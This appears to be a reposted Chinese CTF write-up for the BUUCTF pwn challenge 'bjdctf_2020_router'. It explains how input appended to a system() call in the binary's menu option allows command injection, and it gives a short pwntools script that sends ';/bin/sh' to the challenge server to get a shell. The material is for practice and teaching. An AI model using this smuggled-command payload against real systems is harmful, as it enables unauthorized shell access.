当前位置: 首页 > news >正文

[buuctf]bjdctf_2020_router

首先查看一下文件的保护措施
image
在用ida打开看一下
这里就是一个menu,然后进行选择,进入不同的函数
image
这里主要注意到进入case1时,这里直接就有一个system函数,那么是否可以直接通过这个函数获得shell呢
在看看这里通过read函数向buf进行输入,在用strcat函数将输入到buf的字符串拼接到dest后面,那这里就可以直接输入/bin/sh了
但是要注意要加上一个 " ; ",这样就能在system函数中执行多个命令,才能执行/bin/sh

点击查看代码
from pwn import *
io=remote("node5.buuoj.cn",25108)
io.sendlineafter(b"choose:","1")
io.sendlineafter(b"address:",";/bin/sh")
io.interactive()
http://www.hskmm.com/?act=detail&tid=33937

相关文章:

  • AtCoder Beginner Contest 428 ABCDE 题目解析
  • 稻草火把下的星辰:回忆我的90年代求学路
  • 10月18日日记
  • 第九章-实战篇-运维杰克
  • AntennaPod - 开源Android播客管理器
  • 硬件基础知识
  • 第三章 权限维持-linux权限维持-隐藏
  • 第五章 linux实战-黑链
  • AI元人文:价值原语化——在创新与传承间搭建文明桥梁
  • Channel小结
  • 线段树历史值学习笔记
  • 连续两行fastq、连续两行MD5值如何转换为每行一个fastq一个MD5格式
  • abc428
  • 深入解析密码库低级lowlevel抽象层接口与高级highlevel抽象层接口 - 实践
  • (第五次)随机森林和xGboost
  • 23-网关选型
  • Python 爬虫实战:手把手教你抓取网页数据
  • 华为hcip总纲
  • haiku
  • Asp.Net Core 解决使用 Docker调试时出现“准备容器时发生了一个非关键性错误。项目将继续正常工作。错误为: 路径中具有非法字符。”
  • ABC 随笔
  • 大数据分析基础及应用案例:第三周学习报告 ——Matplotlib 学习报告
  • 矩阵的秩和逆
  • 2025.10 训练日志
  • 全球AI推理扩展技术解析
  • 乱七八糟的知识点
  • swtich的应用
  • AtCoder Beginner Contest 428
  • 因式分解
  • [Perl]install DateTime module